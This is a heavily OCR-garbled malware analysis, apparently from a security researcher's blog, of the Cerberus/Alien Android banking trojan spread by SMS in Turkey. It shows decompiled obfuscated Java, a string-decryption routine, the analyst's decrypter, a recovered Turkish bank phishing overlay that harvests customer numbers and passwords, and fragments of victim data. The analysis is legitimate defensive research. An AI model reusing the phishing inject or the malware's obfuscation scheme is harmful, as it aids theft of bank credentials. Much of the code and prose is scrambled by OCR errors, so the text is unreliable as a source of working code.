i ebbaksssbrlasgxyq R fiml String d() {
> ry
8 fzxsth 435 return new JSONObject (this.a.aG).getString(Locale getDefault().getlanguage());
-8 1facusugolkkhnf i ¥ Sk fEsckcine wadl €
£ aay 437 return this.a.al;
£ bggarifpgndgiocalzqlkmmanr 438 }
£ buiugynnzjthiedgkicca 433| }
: B 440
W {soayatiiaitfeidonk 2a1|  public final String d(Context context, String str) {
& oznxpm ) aa2 String e = e(context, this.a.d);
 pgtjorsqpddtbtuhy] 443 new StringBuilder().append(e);
£ pzatgifzngerigujdab 444 a avar = new a();
-8 siyeyltxnkcburd 445 return aVar.a(e + this.a.am, str);
mtnm:d jtedjxofosal a
&8 )Sl:: ““53”; {3"" sl aas|  public final string e() {
SUOPFNIZHORDE 449 try {
£ dbgbxttbhfkhrotdbgxukzfux ase return new JSONObject (this.a. aH). getstring(Locsle.getdefault() . getLangusge() )5
£ djaykh 45 } catch (Exception unused) {
1 fexibzabytnegjtnhlyttpz asz return this.a.ak;
i itrlkztezelaxtfpzls o i i
-8 kpbxn P
8 tcfzajueajeq 456 public final String e(Context context, String str) {
£ ugahpnzku 457 if (c == mull) {
83 wjubmgn 1ziawdfujze 4ss Sharedpreferences s = context.g (this.a.ad, 0);
i % 459 < - sharedpreferences;
& yfacdpjugeyFiyFlduyg P d = sharedpreferences.edit(};
& znnralotuypcs i
Ga 282 return c.getString(ste, (String) null);
@b 463 }
-@ Bchildblouse 454 oo v ! -
@ Bereufatiguo 485|  public Final String f(String str) {
485 return a(str, this.s.sh);
® bwasmv i )
<& 455
@ cpeukpzpumbijfs 4s9|  public final String gtstring str) {
@ cuklitenuka 470 return b(str, this.a.ah);
d |y
an2 -
o8 < i J v
-@ Ecomicslin
® efdioknl ||| coce [Smei]

JADK memory usage: 0,35 GB of 4,00 GB [ Bluetooth Devices k
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File View Navigation Tools Help

CRBBE A e @ EL

] = 5 = E =
% 2;/‘5'“" i 2| ® hxdnpatrritcdgljiluiysg. ifacueugolkkhnf .yaqtduosjtcdjxofosal.b 3¢ ‘ O hxdhpatrritcdgljiluiysg. ifacueugolkkhnf .yagtduosjtcdjxofosal.Bchildblouse (. | © hxdhpatrritedgljiluiysg. ifacueugolickhnf.yagtduosjted; 4|,
(8 Source code
¢ = 7 = Py e IR =T 7
 feeyncjafyaabgmhtegeckknro 2 public String P = b(“raoulwvthogflijczzs
£ gurgxbphznhut sdyipkom 2| public String Q = b("rxbdxxyuaihtyjemh
# hxdhpatrritcdgljiluiysg 3 publicistringinic bt chifusgr kpomit:R I
-@ datjhneyjafitkphupa i W resignin i
# dwtzbbdabfeccudualzklm o e
25| public String U =
£ ebbaksssbrlasgxyq 27| publlic string v -
g Fzxsth 25| public String W =
 ifacueugolkkhnf 20| public String X =
8 aay Sl 2|  public string v =
. 51| public String Z
& bggari fpgndgiocalzqlkmmane e W el
# buiwgynmzjthiedgkjcca 33 public String aA wpnqf xpgueliDN1YIQ2M2T LN zMhdllz E30MMSODR 1 ZmT 1ZWFkY 2V {YANDEAYTYSMDVANTZ 1267 1MGNh QL 2DV 1Mz U2MT ESHIAUSY§ Yy
-8 Fsoayqifuurxijrjdonk 34| public String aB = b( pfn)xxlx‘.\pf‘7Dh10quVAEhNT“‘zMDFNV; A2 U TY 3m kIT g3¥mE SVMQRN 5 ZDAKMIHI 7 TV Tg3¥§ A Zulin¥ TZkYIAZNDILOKES" ) 5
£ oznxpn 35| public String aC = b("twruyboxyjctnTi TZhGZhENS
£ pgtjorsopddtbtuny] 36| public String ab = b(" qug]]bqqunvkuummunkau]Ismuaonrm‘m«n =
B boateitagersasidat 27| public string aE - b("faofhugzLqENDQUITdnDC2Y ' ol
B gl E . ng 38|  public String aF = (b("auighbecluggZm="} + b(" khxsbxt,\thFkNu‘QAN RNJQzIMTOVIKEVTQSZHI2ZGNIVG==") + b("ahem vi163hok BKMDQz") + b("j ImT5ZTc3NzguiiD)
# siyeyltxnkcbur 39 public String a6 + b("uicayuuitlwaZnQBMTUYZGF iN2MXMGQzNGZLNIQXYTQRYWIXZNR 0T IyYTZ1 Zm A7EUS7EIE‘M]1NDVSND§2‘ mkvmumxwmuzqzmum DQAMMNINTU=") + b("tuppyxclgynzNjliZnusm2IzZ3M
 tnmk a8 public String aH = (b("auighbecluggZm=") + b("bsepmyxedoxnZTE@MzB1NDInMKQ3 ZDBhMAUAZNNKTHQZZDgXOGE Y TUYODASNTEGYHESY 20T TOYT TZNNEXOTK2N2FINU=") + b(" ‘ZAwZTK2YZg4NGBY Tg: ZGI0ZD
£ yagtduosjtcdjxofosal SL| puBLLc String ol - b( oeymotkppiZTBLYSVSOTIRNZI);
8 bsuoprbdgforpg 2| public String 2 - b("hu 1¥zQzoTran jgimavay 1 30M Y TH UMt
- dogbxttbhfkhrbtdbgxukzFux 23| public String ak = b 3 jpedsxchmf N VlIiULnd 0GRV F 0T ESHGNTHSNGYLIZUSH2US 2 Tg2MDQ3N; Y3MTI mran® )5
i 24| public String al = "PCFETGMUNVBFIGh@bii+C]xodal sIGxhbmCOInVUI JKPGh1YIQ+CiAEICABbIVEYSE] aGRyC 2VaPS IUVEYLOCT +CiAG ICABbHV@Y SBUY1 1S 123l 369 ydC TgY22udGVLADR1d2 1 kdGgozav2ai] LXdp ZHRoL CBpbm1@anF s Lt jiux 1P|
& djay ! as public Closs[] aM = {wzeojtewxipdf.class, vahzjmnlkpaq.class);
£ fgxjbznbytnegjtmhlyttpz 45|  public string aa Ye-")3
i itrlkztezelaxtfpzls a7|  public string ab
£ kpbxm 28| public String ac =
L aa|  public string ad
gu o izk“] 4 56| public String ae
5 g_bp i R 51 public String af - b("ynatrwwueqses msonumm MTBh\ vamowkm.mme GRS™) 5
o s 52 public String ag = b("nu ");
- yfacdpjugeyfiyfldwyg 53 public String ah = b(" Tmm g
@ zmnraiotuypcs si|  public String ai = b("dgismalvbaswYTI3INNG");
®a 55|  public String aj = b(“ghgqxsxtugnkNDCINGQyZ]HyMaRINT 173 Z4Hmy iMTI DA jHTgyOWYSHDQYM] RANDF kYZA3ZD) 10TNRYTF SN2UANGNKZ  FhY 2T 1NWQ1 TDFRZJELMIL") 5
epg 56| public String ak = b(“wbclachthjhbMTA2ZTNLNIjNZQ2M2YINMIOTY4NGUINTAGYY1ZGUZZ JFRINERMHZaN JUn DEyIITC20DZNM2QSCTELMDEIOGUY YTZ iNlg==") ;
i 57| public String[] al = {b("btfudlthiwrti{¥yMzY3HzklY RaNDRRZJALNZ LoD uitzEY ZTQ1ZDRAYJNKNGUEYa Tz 1k ZTISNT I 1MF 121 ZT Tl ¥xZavAZ6QIN2 ThZ hiZAm="), b("usjkojrbuadzY v vk
o 58| public String am = b(*Fagusnnpkmeyling=");
@ Berewfatigue 58 public String an = b("kqbdlkxfctqclizky ZDMBHDE] YaUSNTEZMIF MZANTKSF Z1YiczYigzY UBNTgXYZQINTh inzy
@ buasmv 52| public String a0 = b("wapdmt LisFf2YIQaIIGHZDFRODVNZTOXEDK2Y LY TRAZGF 12 JA2HDM2ZaYSHzARY zhic myonvmMrmkunm—umnnwwns,ng
®c 51|  public String ap = b("1tiqfab?sujroDgaz{veVrQSYTERZNQR mml:rakakmq 3v dhznTozTYe0D 1 1ns
® cpeukpzpunbijfs : P":if‘ i:”"s 9
Z 52|  public String ar
8;“”“9’"“"3 64|  public String as = b(“txhjnknfrdfqYzQuiTZkyZLNDUIOKIXYZCYZTBIH ‘]Esh
65|  public String at 3
Ecomicslim
5 Smal
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s =
a0

A public il bytel] Blptel] bhre) {

a2 72 = new byte[bArr. length];

a3 ety i < bArr.length; it+) {

aa Shis.b - (ihisb s 13 1
as int iz = this.c;

46 int[] dArr = this.a;

a7 int i3 = this.b;

a8 This.c = (124 )Arr[) 1) % 256 :
a9 a(i3, this.c, iArr); 3
50 int[] iArr2 = ms a3 ]
51 baArr2[i] = (byte) (iArr2[(iArr2[this.b] + fArr2[this.c]) ¥ 256] A bArr[i]);

52 ¥

53 return barr2;

54

55/}

56

57 // one class nesds to have a main() method
56 public class HelloWorld
3 {

m public static String a(String str) {
=
& ¥ 7/ return new String(new f(str.substring(o, 12).getBytes()).a(b(new String(sase6d.getbecoder ().decode (str .substring(12), 0), "UTF-8"3)));
64 Feturn new String(nen F(str.substeing(0r 13)-getaytat ()] (binew String(Base6d. getbecoder(). dacode(str-substring(133)))3);
65 } catch (Exception unused) {
66 n "
67 ¥
68 3
private static byte[] b(Strlng str) {
int length = str.length(
byte[] Barr = new byte[(length JENE
for eng

m)\rr[;z ’ ?] (Eyte) (((hm:tez digit(str.charAt(i2), 16) << 4) + Character.digit(str.charAt(i2 + 1), 16));

return barr;

blic static void mein(String[] args)

/stem. out. print (a("cexrds jycoluNjULNG KSNDVKHT I 1NKHYODCXY ¥ 2Y JBhZmT 2M2Y4NZThZGV1MOMBH 21 KYWT3H2 FhMGYxZ JUSZHRRMIF IHJd IMTHZYZA") ) 3

84 System.out.println(a("tsmvcbhuryiriI1061812Q2ZTHEODImY V] Y3NDU2HM) i ZD1KHTABZG=="));
85

[(command fine arguments) ]
COMPILE & EXECUTE 1l PASTE SOURGE 1L DOWNLOAD ZIP || defautt v]

Successfully compiled /tmp/jsva_yeAisj/f.java alien_ringo_wdfes
Successfully compiled /tmp/java_yeAis]/Hellobiorld.java <-- main method

When it came to decrypting the encrypted data I previously obtained with the
alien ring0@ wdfes encryption key, and confirming the validity of the
encryption key, I also learned that the fake screens (html) came from the

command and control center, as mentioned at the beginning of the text
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issues, please contact us (‘More Info') —->

be above the first

import java.lang.Math; // headers M
import java.util.Base64;

ass needs to have a main() method
lass Decrypter

public static String a(String sctr) {

() .decode (str.substr

String key = " 4 R i
try {
1 g (new f£(str.substring(0, 12).getBytes()).a(b(new String(Base64.getDecode:
return new String(new f(key.getBytes()).a(b(new STring(Base4.getDecoder().decode(str))))):
} cateh (Exception unused)
return "";
¥

vate stacic byte[] b{String sctr) {

length = str.length() ;

byte[] bArr = mew byte[(length / 2)1;
2 ; 12 < length; 12 +=

i
bATz[i2 / 2] = (byte) ((Character.digit(stz.chardt(i2), 16) <<

LMDMOMZ 1 YWI M2 FMG!

¢) + Character.digit(str.chazAt(i2 + 1), 16))/

"UTE-8"))));
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<!DOCTYEE html>
El<heml><nead>
<meta htep-equiv ype" nt="text/html;
<ticlel bank</title>
utf-8">

=<UTF-8">

<meta charsen=
</head>
El<body>

<style type="text/css">
body {
background: #03a9£4;

font-family: Helvetica, sans-serif;
background-size: 100%;

3

logo {

text-align: center;

background: HO3AIFA;
padding: 20px Opx 20px Opx:

i}
.form {
text-align: center:
padding-top: 70px;
3

.form label {
aisplay: block;

]

form {
display: inline-block;

3
fieldset {

porder: none;
background: #EEE;

margin: Opx 30px Opx 30px;
border-radius: 10px;

input[type="text"], input[type="password"] {
border: 1px solid #cacaca:
line-height: 16px;
font-size: 17px;
box-sizing: border-box;

[C:\Usersutert\Desktop>java Decrypter > aaa.txt

fC:\Users Mert\Desktop>

File

o

Bijava 1| El Decnplerjava &3

Macro Run Plugins Window

Bo

Tools

Edt Search View Encoding Language Settings
) s Bl (] || @ x| @EE
BHzaapng 3 EJaaammm\

Pa®|l@ BE DEE=avy=E

18 Subat 2020 Salu
ol

17 .style.display—

document . gecElementayId ( ik
}

</scripts

El<fieldsec id="formtosend">

="bireysel">

<div class="bireysel" i

"padding-bottom: 30px;">
nelick="bireysel() "><span Sty

El  <div class="menu" st:
<a href="#bireysel”
Bireysel</span></a>
<a hr 1" oncli

</div>

1()"><span st

<input name="bireysel mumarasi" maxlength="11" placeholder
<input name="birevsel p: placeholder="Parola" type="p:
<input name="type injects" value='banks' typs="hidden" required>
<input name="closed" "close_activity_injects' type="hidden" required>
<input name="sumbit" ong "send_form() ;" value="Girig Yap" "button">

float: left; width: 49%; background: white;

right; width: 49%; text-align

“Mogteri / T.C. Kimlik Nomarasi® onkeypress
5

left; width: 49%; text-align: center; padding: 10px Opx 10px Op

center; padding: 13px Opx 10px Opx; color:

right; width: 49%; text-align: center; padding: 13px Opx 10px Opx; color:

£ ( isNaN( String.fromCharCode (event.keyCode) ))

</aiv>
</fieldset>
E<f)e]dsat id="formtosend2"s
<div class="bireysel" id="karumsal" st display: mone;"s
= <div cla e="padding-bottom: 30px:">
<a nref="#bireysel" onclick="bireysel()"><span st
Bireysel</span></a>
<a href="fkurumsal” onclick="kurumsal()"><span Sty
</div>
<input name="kurumsal numarasi” maxlength Numarasi" v
<input name="kurumsal p. placeholder ype="p >
a banks' type="hidden" required>

‘close_activity_injects' type="hidden" required>
<input name="sumbit" onclick="send form2();" value="Girig Yap" type="button">
</aiv>
</tieldset>

"float: left/margin-to
"color: #£ff; padding-right: 10px:">&gt;</span><a

20px /padding-left: 30px;">

color:

</divs

E<script>

if ( isNaN( String.fromCharCode (event.keyCode) ))

#03a974; background:

return false:" typ:

BE3E3£3; : lapx:

text-align: center; padding: 10px Opx 10px Opx; color: #03a9fd;

#03a974; background-inag

return false:" type='text'>

600; border-bottom: 2px solid #FF9800;">

linear-gradient( white, #b2e7£f );">Karumsal</span></a>

( white, #b2e7ff );">

color: $03a9fd; : 600;

">Parolam Unattun</a>

white;

2px solid #FF9800;">Rurumsal</span></a>
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string(e, 12).getBytes()).a(b(new String(Baseed.getDecoder ().decode (str.substring(12), 8), "UTF-87))));
<y getBytes()).a(b(new String(Basebd. getDecader() .decode(str)))));
<< 4) + Character.digit(str.charAt(i2 + 1), 16));

public static void mein(String[] args)

System.out . println (a("OD¥yMmYZNORIMThIZDUSHZHSYWNMENUNHIN 1 ZDZ 1Nzk4NFd 1ZIALMGYSNmYONZ Iy Y  JKMTBRYWHLHZ hhNQ2NZ c 3MZR iMDgyMzgXZ3 T INTQ2ZGF KZTgA0DBhY ZKOWQUONF 1Y 2YONULHT 1112 Jmi 1 INDAUN2E AMDVKHAQHZ QX MAEWHDY4 ZWIYOT 1hMGYAYHYSNDKANW TXNnHSNDEYH NnOT AYMZNNGRAMDQANGMLYUZ

¥
mmand li ts)
COMPILE & EXECUTE PASTE SOURCE DOWNLOAD ZIP default
Successfully compiled /tmp/java_t9Fsau/f.java
Successfully compiled /tmp/java_t9FsAU/Hellobiorld.java <-- main method S\":\"Turkey\", \"city\": \"Istanbul\",\"state\": \"Kadikoy\" ,\"zip\": | "34878\", \"phone\" : \"+
5

"311\", \"type_injects\":\"
vending”

7 credit_cards\",\"closed\":\"close_activity_injec
“com.android.ven

3 ! =
"I :"tlebghyxafkrhéoh]ili"}

In conclusion, it was surprising and concerning to learn that the Cerberus
mobile banking malware, which has been frequently talked about in recent
years for its features and name, has started targeting citizens with SMS
containing their name and surname. As always, I stress that Android users
should avoid installing apps from unknown sources.

Hope to see you in the following articles.
Note:

After this security research (February 2020), it was revealed that (September
2020) this malware, commonly known as Cerberus, later branching off into a
malware called Alien from the fork of Cerberus vl version.

This text also includes the solution for the Pi Hediyem Var #18 cybersecurity

game.


https://www.bleepingcomputer.com/news/security/cerberus-android-malware-can-bypass-2fa-unlock-devices-remotely/
https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html
https://www.mertsarica.com/pi-hediyem-var-18/

